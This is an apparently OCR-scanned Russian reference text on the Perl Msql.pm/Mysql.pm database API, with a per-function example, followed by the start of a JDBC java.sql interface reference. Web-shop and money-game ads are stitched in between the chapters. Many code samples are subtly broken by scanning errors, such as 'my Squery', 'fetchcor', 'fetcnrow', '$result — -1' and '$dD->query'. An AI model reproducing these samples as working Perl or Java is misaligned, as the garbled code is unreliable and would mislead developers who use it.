my $db = Msql->connect; $db->selectdb('mydata');

my $query1 = "SELECT * FROM mytable";

my $query2 = "SELECT name, date FROM myothertable WHERE name LIKE 'Bob%'";

my $query3 = "UPDATE myothertable SET name='Bob' WHERE name='Joe'";

my $mytable_output = $db->query($query1);

my $myothertable_output = $db->query($query2);

my $myothertable_input = $db->query($query3);

# $mytable_output содержит результаты запроса к 'mytable'

# $myothertable_output содержит результаты запроса к 'myothertable'

print "Обновление 'myothertable' повлияло на имена в $myothertable_input

\n";

$Msql::QUIET

Если переменная $Msql: : QUIET установлена в true, то параметр -w в Perl отключает вывод ошибок. В противном случае все ошибки MsqlPerl будут автоматически посылаться на STDERR. Переменную можно в любой момент сбросить. Функция вывода сообщений об ошибках по -w настолько полезна, что не рекомендуется устанавливать $Msql: : QUIET .

Пример

use Msql;

# Отключить сообщения об ошибках. Действует, только если сценарий

# запущен с '-w'.

$Msql::QUIET = 1;

# Выполняем многословную часть...

# Снова включаем сообщения об ошибках. $Msql::QUIET = undef;

Msql::quote

$quoted_string = $db->quote($string);

$truncated_quoted_string = $db->quote($string,$length);

Msql: :quote принимает в качестве аргумента скалярную строку. Она возвращает ту же строку, но с правильной расстановкой кавычек, пригодную для вставки в поле базы данных типа CHAR или TEXT. Более точно, строка заключается в одиночные кавычки, а одиночные кавычки внутри строки предваряются управляющим символом «обратная косая черта». Если задан второй аргумент, результирующая строка укорачивается до заданной длины.

Пример

use Msql;

my $db = Msql->connect;

my $string = "Это ' (одинарная кавычка)";

my $qstring = $db->quote($string);

print qq%Tenepb значение строки "'Это\\' (одинарная кавычка)'" : $qstring\n%;

Msql::selectdb

$db->selectdb($database);

Msql: :selectdb выбирает базу данных на сервере. В случае неуспеха в Msql: :errmsg помещается ошибка. Единственный действенный способ проверить успешность выполнения функции - посмотреть значение $db->database и сравнить его с той базой данных, с которой вы хотели соединиться. В любой момент выполнения программы можно переключиться между базами данных.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

# Выбранной базой данных является 'mydata'

if ($db->database ne 'mydata') {

wаrn('Базу данных выбрать не удалось!'); }

$db->selectdb('myotherdata');

# Теперь выбрана база данных 'myotherdata'

Msql::shutdown

$result = $db->shutdown;

Msql: : shutdown посылает на сервер mSQL команду остановки. Команда посылается от имени пользователя, запустившего программу, поэтому для использования в CGI-программе последняя должна запускаться пользователем, имеющим право остановки сервера баз данных. Функция возвращает -1 при неудаче и 0 в случае успеха.

Пример

use Msql;

my $db = Msql->connect;

# Пора закрывать базу данных...

my $result = $db->shutdown;

die "Команда не выполнена!" if $result — -1;

print "Сервер остановлен.\n";

Msql::Statement::as_string

$formatted_table = $statement_handle->as_string;

Msq1: :Statement: :as_string возвращает данные, содержащиеся в описателе команды, в виде аккуратно отформатированной таблицы ASCII. Таблица аналогична тем, которые выводит монитор msql. Программа pmsql, поставляемая с модулем Msql.pm, использует эту функцию для создания своих таблиц.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $query = "SELECT * FROM mytable";

my $mytable_output = $db->query($query);

print "Моя таблица:\n", $mytable_output->as_string;

# Выводится вся таблица в гораздо более приемлемом виде,

# чем в примере Msql:[Statement:ifetchhash.

Msql::Statement::dataseek

$statement_handle->dataseek($row_number);

Msql: :Statement: :dataseek принимает в качестве аргумента номер строки. Функция переустанавливает данные, так что следующий вызов Msql: :Statement: :fetchrow или Msql: Statement: :fetchhash возвращает данные указанной строки. Если указанный номер строки выходит за границы таблицы, указатель устанавливается на конец таблицы и при следующем вызове будет возвращено неопределенное значение undef. Первая строка таблицы имеет номер 0.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my Squery = "SELECT name, date FROM myothertable";

my $myothertable_output = $db->query($query);

my @names = $myothertable_output->fetchcol(0);

my @dates = $myothertable_output->fetchcol(1);

# Теперь указатель установлен в конце таблицы.

$myothertable_output->dataseek(0);

# Теперь указатель установлен на начало таблицы,

print "Это первая строка данных: ", $myothertable_output->fetchrow, "\n".

Msql::Statement::fetchcol

@column_of_data = $statement_handle->fetchcol($column_number);

Msql: :Statement: :fetched принимает в качестве аргумента номер колонки и возвращает массив всех значений, находящихся в этой колонке. Каждый вызов возвращает значения в колонке в одинаковом порядке, поэтому значения с одинаковым номером элемента находятся в одной строке данных. Первая выдаваемая колонка имеет номер 0. Для выполнения этого вызова модуль должен считать всю таблицу, поэтому, если вы хотите продолжить просмотр таблицы после вызова этой функции, переустановите данные с помощью Msql::Statement: :dataseek . Если задан недопустимый номер колонки, возвращается неопределенное значение undef.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $query = "SELECT name, date FROM myothertable WHERE name LIKE 'Bob%'";

my $myothertable_output = $db->query($query);

my @names = $myothertable_output->fetchcor(0);

# @names содержит теперь все имена.

my @dates = $myothertable_output->fetchcol(1);

# ©dates содержит теперь все даты.

for (0..$#names) {

print "Row $_: $names[$_], $dates[$_]\n"; }

Msql::Statement::fetchhash

%hash ='$statement_handle->fetchhash;

Msql::Statement: :fetchhash возвращает текущую строку описателя команды как ассоциативный массив (или хэш). Ключами хэша служат имена полей, а значениями - значения данных текущей строки. Каждое последующее обращение к функции возвращает очередную строку данных. Когда данных больше нет, функция возвращает неопределенное значение undef.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $query = "SELECT * FROM mytable";

my $mytable_output = $db->query($query);

my %first_data_row = $mytable_output->fetchhash;

my @fields = keys %first_data_row;

# @fields содержит теперь имена всех полей. В результате, фактически нет

# нужды использовать Msql::listfields, поскольку ее данные и многие

If другие можно получить через описатель команды, возвращаемый

# Msql::query.

my (%data_row);

print ]oin("", ©fields), "\n';

print "-"x70;

print join("", values(%first_data_row);

print join("", values(%data_row)) while %data_row = $mytable_output-

>fetchhash;

# Таким образом распечатывается вся таблица, хотя и в невыравненном

# формате.

Msql::Statement::fetchrow

@row_of_data = $statement_handle->fetch row;

Msql:: Statement: : fetch row возвращает очередную строку данных из описателя команды, созданного Msql:.-query. Каждое последующее обращение к Msql: Statement: :fetchrow возвращает очередную строку данных. Когда данных больше нет, функция возвращает неопределенное значение undef. Элементы в результирующем массиве упорядочены в соответствии с исходным запросом. Если запрос имел вид SELECT*FROM ... , то элементы упорядочиваются в соответствии с последовательностью определения полей в таблице.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $query1 = "SELECT * FROM mytable";

my $query2 = "SELECT name, date FROM myothertable WHERE name LIKE

'Bob%'";

my $mytable_output = $db->query($query1);

my $myothertable_output = $db->query($query2);

my $i = 0;

# Чтение строк данных будет продолжаться,

# пока их больше не останется.

while (my(@mytable_rows)=$mytable_output->fetcnrow) {

print "Строка ",$i++,": ".join(', ',@mytable_rows)."\n";

# Если неизвестна структура таблицы 'mytable',

# нельзя узнать число элементов в @mytable_rows или их порядок.

}

my (Sname, $date);

# Это первая строка данных в $myotrertable_output.

($name, $datc) = $myothertaPle_output->fetchrow;

# Это следующая строка...

($name, $date) = $myothertable_output->fetchrow;

# И еще одна...

my @name_and_date = $myothertable_output->fetchrbw;

# и т.д....

Msql::Statement::isnotnull

@not_null = $statement_handle->isnotnull;

Msql:: Statement: :isnotnull возвращает список булевых значений, указывающих для каждой из содержащихся в описателе команды колонки, была ли она определена как 'NOT NULL'. При вызове в скалярном контексте функция возвращает ссылку на массив.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my Soutput = $db->query("select * from mydata");

my @names = $output->name;

my @not_null = $output->isnotnull;

for (0..$#not_null) {

print "$names[$_]не может быть null\n"

if $not_null[$_]; }

Msql::Statement::isnum

@numbers = $statement_handle->isnum;

Msql: : Statement: : isnum возвращает список булевых значений, указывающих для каждой из содержащихся в описателе команды колонки, является ли она числовой. При вызове в скалярном контексте функция возвращает ссылку на массив. «Числовая» означает тип, например, 'INT' или 'REAL', но не число в поле типа 'CHAR' или 'TEXT'.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $output = $dD->query("select name, date from myothertable");

print "Name является числом"

if $output->isnum->[0];

print "Date является числом"

if $output->isnum->[1];

Msql::Statement::isprikey

@primary_key = $statement_handle->isprikey;

Msq1::Statement: :isprikey возвращает список булевых значений, указывающих для каждой из содержащихся в описателе команды колонки, является ли она первичным ключом. При вызове в скалярном контексте функция возвращает ссылку на массив. Эта функция всегда возвращает список, состоящий из нулей, при соединении с сервером mSQL 2, поскольку в mSQL 2 не используются первичные ключи. Однако она может быть полезна с серверами mSQL 1, поскольку в них реализованы первичные ключи.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $output-= $db->query("select * from mytable");

my @prikeys = $output->isprikey;

my $number_of_prikeys = scalar @prikeys;

print "В этом описателе команды $number_of_prikeys первичных ключей. ",

"В запросе участвует не меньшее число различных таблиц, поскольку ".

"в каждой таблице может быть только один первичный ключ\n";

Msql::Statement::length

@lengths = $statement_handle->length;

Msql::Statement::length возвращает список максимально возможных длин для колонок, содержащихся в описателе команды. Это значения, определенные как максимальные при создании таблицы. При вызове в скалярном контексте функция возвращает ссылку на массив.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $output = $db->query("select- * from mytable");

my @types = $output->type;

my @lengths = $output->length;

for (0..$#types) {

if ($types[$_] == &Msql: :CHAR_TYPE and $lengths[$_] > 1000000) {

print "В этой таблице у вас есть одно о-очень большое поле CHAR!\";

} }

Msql::Statement::listindices

Pindices = $statement_handle->listindices;

Msql: : Statement: :listindices возвращает индексы, связанные с какими-либо полями в описателе команды. Поскольку функция непосредственно ищет имена полей, она полезна только для имен, возвращаемых Msql: : listf ields . Если индексы не обнаружены, возвращается неопределенное значение undef. Эту функцию можно использовать только с серверами mSQL 2.0 или последующих версий.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $mytable_fields = $db->listfields('mytable');

my ©indices = $mytable_fields->listindices;

print "B 'mytable' есть следующие индексы: " . join(", ",@indices) .

"\n;

Msql::Statement::maxlength

@max_lengths = $statement_handle->maxlength; '

Msql::Statement: :maxlength возвращает список фактических максимальных размеров всех полей таблицы. При вызове в скалярном контексте функция возвращает ссылку на массив. Поскольку сервер mSQL прямо не сообщает эти данные, она реализована путем чтения всей таблицы и поиска максимального значения для каждого поля. Поэтому в mSQL эта функция может потребовать много ресурсов, если запрос возвращает большой объем данных.

Пример

use Msql;

$db = Msql->connect;

$db->selectdb('mydata');

my Soutput = $db->query('select name, date from myothertable');

print "Самое длинное имя имеет длину " . $ouput->maxlength->[0] . " символов,\n";

Msql::Statement::name

@column_names = $statement_handle->name;

Msql:: Statement:: name возвращает имена колонок данных, содержащихся в описателе команды. При вызове в скалярном контексте функция возвращает ссылку на массив. Как и для Msql::Statement::table , скалярное значение этого списка (в противоположность значению функции при вызове в скалярном контексте) совпадает со значением Msql::Statement::numfields

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $output = $db->query("select * from mytable");

my @column_names = $output->names;

# Теперь @column_names - список колонок 'mytable'

Msql::Statement::numfields

$number_of_fields = $statement_handle->numfields;

Msql:: Statement: : numf ields возвращает число полей в каждой строке результирующих данных, содержащихся в описателе команды. Во всех выходных данных есть хотя бы одно поле, поэтому данная функция возвращает положительное число для всех определенных описателей команд.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $output = $db->query("select * from mytable");

my $numfields = $output->numfields;

my $numrows = $output->numrows;

print "В каждой строке таблицы 'mytable' $numfields полей \n";

print "Всего имеется Snumrows строк данных. Поэтому 'mytable'\n";

print "содержит" . ($numfields*$numrows) . " элементов данных.\n";

Msql::Statement::numrows

$number_of_rows = $statement_handle->numrows;

Msql: : Statement: : numrows возвращает число строк, содержащихся в описателе команды. Для описателя, который не может содержать строк, например, возвращаемого Msql: :listfields , функция возвращает строку 'N/A.' Если описатель может содержать строки, но их нет - например, он возвращен SELECT, для которого не найдено соответствия, -функция возвращает 0.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my Soutput = $db->query("select * from mytable");

my $numrows = '$output->numrows;

print "B 'mytable' содержится $numrows строк данных\n";

Msql::Statement::table

@tables = $statement_handle->table;

Msql: :Statement: :table возвращает список таблиц, связанных с колонками данных, содержащимися в описателе команды. (См. выше в Msql: : Statement: : isnum пример использования ссылки на массив.) Даже если запрос использовал только одну таблицу, для каждой колонки есть один элемент. Побочным эффектом является то, что скалярное значение массива, возвращаемого $statement_handle->table , совпадает со значением $statement_handle->numfields .

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my Soutput = $db->query('select myothertable. name, myothertable.date,

mythirdtable. name from myothertable, mythirdtable where myothertable. name

= mythirdtable. name');

my @tables = $output->table;

# @tables содержит теперь ('myothertable', 'myothertable', 'mythirdtable')

Msql::Statement::type

@column_types = $statement_handle->type;

Msql: : Statement: : type возвращает типы колонок данных, содержащихся в описателе команды. При вызове в скалярном контексте функция возвращает ссылку на массив. Сам по себе этот массив не очень интересен для большинства пользователей (в текущей реализации это массив целых чисел), однако эти значения можно сравнивать со встроенными значениями, определенными в Msql.pm, такими как &Msql: : CHAR_TYPE и &Msql: : INT_TYPE. Один из путей использования этих данных - создание массива с читаемыми названиями, соответствующими предустановленным типам. Этот метод был продемонстрирован в главе 10 «Perl». Другой способ показан ниже.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $output = $db->query("select name, date from myothertable");

my ($name_type, $date_type) = $output->type;

for ($name_type) {

$_ eq &Msql: :CHAR_TYPE and do {

print ''name является CHAR';

last;

} $_ eq &Msql::INT_TYPE and do {

print 'name является INT'; last; } # и т.д....

}

# повторить для $date_type

Msql::sock

$sock = $db->sock;

Msql::sock возвращает скаляр, содержащий номер сокета, использованного для подключения к серверу mSQL. Обычно это полезно только при действительно изощренном программировании.

Пример

use Msql;

my $db = Msql->connect;

my $sock = $db->sock;

print "Я подключен к сокету $sock.\n";

Msql::*_TYPE

Msql.pm предоставляет следующие функции, соответствующие типам данных mSQL:

&Msql::CHAR_TYPE &Msql::INT_TYPE &Msql::REAL_TYPE &Msql::IDENT_TYPE

&Msql::TEXT_TYPE &Msql::IDX_TYPE &Msql::NULL_TYPE &Msql::DATE_TYPE

&Msql::UINT_TYPE &Msql::MONEY_TYPE &Msql::TIME_TYPE &Msql::SYSVAR_TYPE

Пример

use Msql;

%types = (

'CHAR' =>
 &Msql::GHAR_TYPE, 'INT' => &Msql::INT_TYPE, 'REAL' => &Msql::REAL_TYPE,
 'SYSVAR' => &Msql::SYSVAR_TYPE, 'TIME' => &Msql::TIME_TYPE, 'MONEY'
 => &Msql::MONEY_TYPE, 'UINT' => &Msql::UINT_TYPE, 'TEXT' =>
 &Msql::TEXT_TYPE, 'NULL' => &Msql::NULL_TYPE, 'DATE' => &Msql::DATE_TYPE,
 'IDENT' => &Msql::IDENT_TYPE, 'IDX' => &Msql::IDX_TYPE,

);

# $types{'CHAR'} является теперь легкодоступным псевдонимом для

# &Msql::CHAR_TYPE. Наличие значений в %types дает доступ ко всем

# удобным функциям работы с хешами, такими как keys() и values().

$Msql::VERSION

В переменной $Msql:: VERSION содержится номер версии модуля Msql.pm.

Пример

use Msql;

print "Вы используете Msql.pm версии $Msql::VERSION.\n";

Mysql.pm API

Mysql.pm API идентичен Msql API (с заменой всюду «Msql» на «Mysql»), за исключением следующих отличий:

Mysql::connect

$db = Mysql->connect($host, Sdatabase, $user, $password);

Помимо трех методов соединения, совпадающих с Msql: :connect , в Mysql:: connect есть четвертый метод, требующий передачи пароля в качестве дополнительного аргумента. Первый аргумент - имя узла или IP-адрес сервера MySQL. Если в качестве этого аргумента передается undef, модуль соединяется с сонетом Unix на локальном узле. Второй аргумент является именем первоначально выбираемой базы данных. Его всегда можно впоследствии изменить с помощью Mysql: :selectdb . Можно передать undef в качестве второго аргумента, чтобы не выбирать исходной базы данных. Третий аргумент является именем пользователя для соединения с базой данных. Для успешного соединения имя пользователя должно присутствовать в таблицах доступа MySQL. Последний аргумент является паролем пользователя.

Пример

use Mysql;

$db = Mysql->connect(undef,'mydata','webuser1, 'super_secret_squirrel');

# Теперь описатель базы данных соединен с локальным сервером MySQL и

# использует базу данных 'mydata1.

# Использовано имя пользователя 'webuser' для

# соединения с паролем 'super_secret_squirrel'.

Mysql::errno

$error_number = $db->errno;

Mysql: :errno возвращает код последней ошибки. Код соответствует сообщению об ошибке, возвращаемому Msql: : errmsg .

Пример

use Mysql;

my $db = Mysql->connect(undef,'mydata','webuser', 'super_secret_squirrel');

# В этом запросе есть синтаксическая ошибка...

my $output = $db->query( 'SELECT * from mydata');

if (not $output) {

print "Ошибка " . $output->errno . ": " . $output->errfnsg . "\n"; }

Mysql::FIELD_TYPE_*

Помимо функций типов данных Mysql: :TYPE_ *, идентичных функциям Msql::TYPE *, Mysql.pm предоставляет следующие дополнительные функции типов данных:

&Mysql::FIELD_TYPE_BLOB
 &Mysql::FIELD_TYPE_CHAR &Mysql::FIELD_TYPE_DECIMAL &Mysql::FIELD_TYPE_DATE
 &Mysql::FIELD_TYPE_DATETIME &Mysql::FIELD_TYPEJ)OUBLE &Mysql::FIELD_TYPE_FLOAT
 &Mysql: : FIELD_TYPE_INT24 &Mysql::FIELD_TYPE_LONGLONG &Mysql::FIELD_TYPE_LONG_BLOB
 &Mysql::FIELD_TYPE_LONG &Mysql::FIELD_TYPE_MEDIUM_BLOB &Mysql::FIELD_TYPE_NULL
 &Mysql::FIELD_TYPE_SHORT &Mysql::FIELD_TYPE_STRING &Mysql::FIELD_TYPE_TIME
 &Mysql::FIELD_TYPE_TIMESTAMP &Mysql::FIELD_TYPE_TINY_BLOB &Mysql::FIELD_TYPE_VAR_STRING

Пример

use Mysql;

my $db = Mysql->connect(undef, 'mydata');

my Soutput = $db->query("SELECT name, data from myothertable");

if ($output->type->[0] = &Mysql::FIELD_TYPE_STRING) {

print "Name является STRING.\n"; }

Mysql::Statement::affectedrows

$number_of_affected_rows = $statement^handle->affectedrows;

Msql: :Statement: :affectedrows возвращает число строк, обработанных запросом. Эта функция полезна, поскольку Mysql.pm возвращает описатель команды для запросов, не являющихся командами SELECT.

Пример

use Mysql;

my $db = Mysql->connect(undef,'mydata');

my $output = $db->query("UPDATE mytable set name='bob' where

name='joe'");

print $output->affectedrows . " строк обновлено.\n";

Mysql::Statement::info

$info = $sth->info;

Mysql: : Statement:: info возвращает дополнительные результаты некоторых запросов, для которых в Mysql.pm нет специальных функций, таких как ALTER TABLE и LOAD DATA INFILE . Например, при использовании LOAD DATA INFILE функция Mysql: : Statement:: info возвращает число вставленных записей, число удаленных, число пропущенных и число элементов, которые невозможно синтаксически разобрать.

Пример

use Mysql;

$db = Mysql->connect(undef,'mydata');

my $output = $db->query("LOAD DATA INFILE 'mydata.dat' INTO TABLE mytable");

my $info = $output->info($output);

print «Результат работы LOAD DATA: $info\n»;

Mysql::Statement::insertid

$new_id = $statement_handle->insertid;

Функция Mysql::Statement::insertid возвращает текущее значение поля auto_increment (если такое имеется) в таблице. Если в таблице нет поля auto_increment , она возвращает неопределенное значение undef.

Пример

use Mysql;

my $db = Mysql->connect(undef,'mydata');

my $output = $db->query(

"INSERT into mytable (id, name, date) VALUES ('','bob', 'today')";

my $new_id = $output->insertid;

print "Bob был введен с ID, равным $new_id.\n";

Mysql::Statement::isblob

@blobs = $statement_handle->isblob;

Mysql: : Statement:: isblob возвращает список булевых значений, указывающих на то, имеют ли содержащиеся в описателе команды поля тип BLOB. При вызове в скалярном контексте функция возвращает ccылку на массив.

Пример

use Mysql;

$db = Mysql->connect(undef,'mydata');

my $output = $db->query('SELECT name, data from myothertable');

if ($output->isblob->[0]) {

print "Name является полем BLOB.\n"; }

else {

print "Name не является полем BLOB.\n"; }

Mysql::query

В отличие от MsqLpm, Mysql.pm возвращает описатель команды даже для запросов, не являющихся командами SELECT, например, для запросов INSERT, UPDATE и DELETE.

Пример

use Mysql;

my $db = Mysql->connect(undef,'mydata');

my $outpuf= $db->query("UPDATE mytable set name='joe' where

name='bob' ");

# $output является описателем команды.

Поиск книг в интернет магазине Болеро

Поиск DVD в интернет магазине DVD DOM
Внимание! Money-Hunting.Ru - Интересная Online Игра с Денежными Призами.


  • Глава №22. Справочник по JDBC

Глава №22.

Справочник по JDBC

Пакет java.sql содержит весь JDBC API. Впервые он был включен в ядро библиотек Java в версии 1.1. Классы, добавленные в JDK 1.2, отмечены в заголовке «Доступность». Методы, не рекомендуемые к использованию, предваряются символом «решетки» (#). Методы JDK 1.2 в старых классах JDK 1.1 выделены полужирным шрифтом. На рис. 22-1 показан весь пакет Java. sql.

Рис. 22-1. Классы и интерфейсы пакета java.sql

Array Краткий обзор

Имя класса: Java. sql. Array

Надкласс: нет

Непосредственные подклассы: нет

Реализованные интерфейсы: нет

Доступность: введен в JDK 1.2

Описание

Интерфейс Array добавлен в JDBC для поддержки объектов массивов, введенных в SQL 3. По умолчанию ссылка на массив SQL существует в течение срока жизни транзакции, в которой она была создана.

Сводка методов класса

public interface Array { Object getArray() throws SQLException;

Object getArray(Map map) throws SQLException;

Object getArray(long index, int count)

throws SQLException;

Object getArray(long index, int count, Map map)

throws SQLException;

int getBaseType() throws SQLException;

String getBaseTypeName() throws SQLException;

ResultSet getResultSet() throws SQLException;

ResultSet getResultSet(Map map) throws SQLException;

ResultSet getResultSet(long index, int count)

throws SQLException;

ResultSet getResultSet(long index, int count, Map map) throws SQLException

}

Методы объекта

getArray()

public Object getArray() throws SQLException

public Object getArray(Map map) throws SQLException

public Object getArray(long index, int count)

throws SQLException

public Object getArray(long index, int count, Map map)

throws SQLException

Описание. Помещает содержимое массива SQL в массив Java или тип Java, определяемый передаваемым отображением Map. Если задано отображение, но в нем не найдено соответствия, используется отображение в массив Java по умолчанию. Две версии метода, которые принимают индекс массива и количество, элементов, позволяют поместить в массив подмножество элементов.

getBaseType( )

public int getBaseType() throws SQLException

Описание. Позволяет получить JDBC-тип элементов в массиве. getBaseTypeNamef )

public String getBaseTypeName() throws SQLException

Описание. Позволяет получить SQL-тип элементов в массиве. getResultSet( )

public ResultSet getResultSet() throws SQLException

public ResultSet getResultSet(Map map)

throws SQLException public ResultSet getResultSet(long index, int count)

throws SQLException

public ResultSet getResultSet(long index, int count, Map map)

throws SQLException

Описание. Позволяет получить результирующий набор, содержащий элементы массива в виде строк. Соответствие типов, если это возможно, определяется отображением, установленным для соединения с базой данных, или переданным в качестве аргумента. В каждой строке две колонки: первая колонка - индекс, начинающийся с единицы, вторая колонка - фактическое значение.

Blob

Краткий обзор

Имя класса: java.sql.Blob

Надкласс: нет

Непосредственные подклассы: нет

Реализованные интерфейсы: нет

Доступность: введен в JDK 1.2

Описание

Интерфейс JDBC Blob представляет тип SQL BLOB. BLOB - акроним для «binary large object» («большой двоичный объект»)- представляет в реляционной базе данных двоичные данные большого объема. Ценность использования BLOB в том, что с ним можно работать как с объектом Java, не навлекая из базы все его данные. Объект BLOB действует в продолжение той транзакции, в которой он был создан.

Сводка методов класса

public interface Blob {

InputStream getBinaryStream()

throws SQLException;

byte[] getBytes(long pos, int count)

throws SQLException;

long length() throws SQLException;

long position(byte[] pattern, long start)

throws SQLException;

long position(Blob pattern, long start)

throws SQLException; }

Методы объекта

getBinary Stream ( )

public InputStream getBinaryStream() throws SQLException

Описание. Позволяет извлекать из базы данные двоичного объекта в виде потока.

getBytes()

public byte[] getBytes(long pos, int count) throws SQLException

Описание. Возвращает все данные двоичного объекта или их часть в виде массива байтов. Подмножество двоичных данных можно получить, указав ненулевой начальный индекс и количество байтов, меньшее, чем размер объекта.

length()

public long length() throws SQLException

Описание. Возвращает количество байтов в объекте BLOB.

position ()

public long position(byte[] pattern, long start)

throws SQLException public long position(Blob pattern, long start)

throws SQLException

Описание. Ищет в Blob заданную последовательность байтов и возвращает найденную позицию либо, в случае неуспеха, —1.

CallableStatement

Краткий обзор

Имя класса: j ava. sql. CallableStatement Надкласс: java.sql.PreparedStatement Непосредственные подклассы: нет Реализованные интерфейсы: нет Доступность: JDK1.1

Описание

CallableStatement расширяет интерфейс PreparedSt-atement, обеспечивая поддержку хранимых процедур SQL. Он описывает методы привязки выходных параметров. JDBC предписывает стандартную форму представления хранимых процедур, независимо от используемой СУБД. Формат следующий:

{? = call ...}

{call ...}

Каждый вопросительный знак замещает входной или выходной параметр. В первом синтаксисе есть один результирующий параметр. Во втором синтаксисе результирующих параметров нет. Ссылка на параметры производится последовательно, при этом первый вопросительный знак соответствует параметру номер 1.

Перед выполнением хранимой процедуры все выходные параметры должны быть зарегистрированы методом registerOutParameter(). Затем входные параметры привязываются с помощью каких-либо методов set, и выполняется хранимая процедура.

Сводка методов класса

public interface CallableStatement extends PreparedStatement {

Array getArray(int index) throws SQLException;

BigDecimal getBigDecimal(int index)

throws SQLException;

#BigDecimal getBigDecimal(int index, int scale)

throws SQLException;

Blob getBlob(int index) throws SQLException;

boolean getBoolean(int index) throws SQLException;

byte getByte(int index) throws SQLException;

byte[] getBytes(int index) throws SQLException;

Clob getClob(int-index), throws SQLException;

Java.sql.Date getDate(int index, Calendar cal)

throws SQLException; Java.sql.Date getDate(int index)

throws SQLException;

double getDouble(int index) throws SQLExceptlon;

float getFloat(int index) throws SQLException;

int getlnt(int index) throws SQLException;

long getLong(int index) throws SQLException;

Object getObject(int index) throws SQLException;

Object getObject(int index, Map map)

throws SQLException;

Ref getRef(int index) throws SQLException;

short getShort(int index) throws SQLException;

String getString(int index) throws SQLException;

Java.sql.Time getTime(int index) throws SQLException;

Java.sql.Time getTime(int index, Calendar cal)

throws SQLException; Java.sql.Timestamp getTimestamp(int index)

throws SQLException; Java.sql.Timestamp getTimestamp(int index,

Calendar cal)

throws SQLException; void registerOutParameter(int index, int type)

throws SQLException;

void registerOutParameter(int index, int type,

int scale)

throws SQLException;

void registerOutParameter(int index, int type,

String typename)

throws SQLException; boolean wasNull() throws SQLException; }

Методы объекта

get BigDecimal( )

public BigDecimal getBigDecimal(int index)

throws SQLException

#public BigDecimal getBigDecimal(int index, int scale)

throws SQLException

Описание. Возвращает значение параметра, заданного аргументом index, как тип Java BigDecimal с масштабом, определяемым аргументом scale. Масштаб есть неотрицательное число, задающее количество цифр правее десятичной точки. Параметры нумеруются с 1, поэтому для первого параметра index равен 1.

getArray(), getBlobf), getBoolean(), getByte(), getBytes(), getClob(), getDouble(), getFloat(), getlnt(), getLongf), getRef(), getShort() и get-String()

public Array getArray(int index)

throws SQLException

public Blob getBlob(int index) throws SQLException public boolean getBoolean(int index) throws SQLException

public byte getByte(int index) throws SQLException

public byte[] getBytes(int index) throws SQLException

public Clob getClob(int index) throws SQLException

public double getOouble(int index) throws SQLException

public float getFloat(int index) throws SQLException

public int getlntdnt index) throws SQLException

public long getLong(int index) throws SQLException

public Ref getRef(int index) throws SQLException

public short getShort(int index) throws SQLException

public String getString(int index) throws SQLException

Описание. Возвращает значение параметра, заданного аргументом index, как тот тип данных Java, который определен именем метода.

getDate( ), getTime( ) и getTimestamp()

public Date getDate(int index) throws SQLException

public Date getDate(int index, Calendar cal)

throws SQLException

public Time getTime(int index) throws SQLException

public Time getTime(int index, Calendar cal)

throws SQLException

public Timestamp getTimestamp(int index)

throws SQLException

public Timestamp getTimestamp(int index, Calendar cal)

throws SQLException

Описание. JDBC обеспечивает уточнение базового объекта java.util.Date, более подходящее для работы с базами данных. Эти методы обеспечивают доступ к значениям, возвращаемым CallableStatement, в виде объектов Date, Time или Timestamp. Варианты, добавленные в JDK 1.2, позволяют задавать календарь.

getObject()

public Object getObject(int index) throws SQLException

public Object getObject(int index, Map map) throws SQLException

Описание. Как и все прочие методы getXXX(), этот метод возвращает значение указанного выходного параметра. Но в случае getObject() драйвер JDBC выбирает класс Java, соответствующий типу SQL, зарегистрированному для этого параметра с помощью registerOutPa-rameter() или согласно указанному отображению типов.

registerOutParameter( )

public void registerOutParameter(int index, int type)

throws SQLException

public void registerOutParameter(int index, int type, int scale)

throws SQLException public void registerOutParameter(int index, int type,

String typename) throws SQLException

Описание. Перед выполнением любой хранимой процедуры с помощью CallableStatement необходимо зарегистрировать все выходные параметры. Этот метод регистрирует тип java.sql.Type выходного параметра хранимой процедуры. Первый аргумент задает регистрируемый выходной параметр, а второй- тип java.sql.Type, который нужно зарегистрировать. Версия с тремя аргументами служит для типов BigDecimal, которым требуется масштаб. Выходные параметры читаются затем с помощью соответствующего метода getXXX() или getObject(). Третья версия этого метода введена в JDK 1.2 и позволяет отображать REF-типы SQL или пользовательские типы SQL.

wasNull()

public boolean wasNull() throws SQLException

Описание. Если последнее значение, прочтенное при обращении к getXXX(), было SQL NULL, то этот метод возвращает true.

Clob

Краткий обзор

Имя класса: Java. sql. Glob

Надкласс: нет

Непосредственные подклассы: нет

Реализованные интерфейсы: нет

Доступность: введен в JDK 1.2

Описание

CLOB - это тип SQL3, означающий «character large object» (большой символьный объект). Как и BLOB, CLOB представляет очень большой кусок данных в базе. В отличие от BLOB, тип CLOB представляет текст, хранимый с использованием какой-либо кодировки символов. Смысл использования CLOB вместо CHAR или VARCHAR заключается в том, что данные CLOB, как и данные BLOB, можно извлекать не сразу целиком, а в виде потока.

Сводка методов класса

public interface Clob {

InputStream getAsciiStream()

throws SQLException;

Reader getCharacterStream()

throws SQLException;

String getSubStringdong pos, int count)

throws SQLException;

long length()

throws SQLException;

long position(String pattern, long start)

throws SQLException;

long position(Clob pattern, long start)

throws SQLException; }

Методы объекта

getAsciiStream ( )

public InputStream getAsciiStream() throws SQLException

Описание. Позволяет осуществлять доступ к данным Clob через поток ASCII.

getCharacterStream( )

public Reader getCharacterStream() throws SQLException

Описание. Позволяет осуществлять доступ к данным Clob через поток Unicode.

getSubString( )

public String getSubString(long pos, int count) throws SQLException

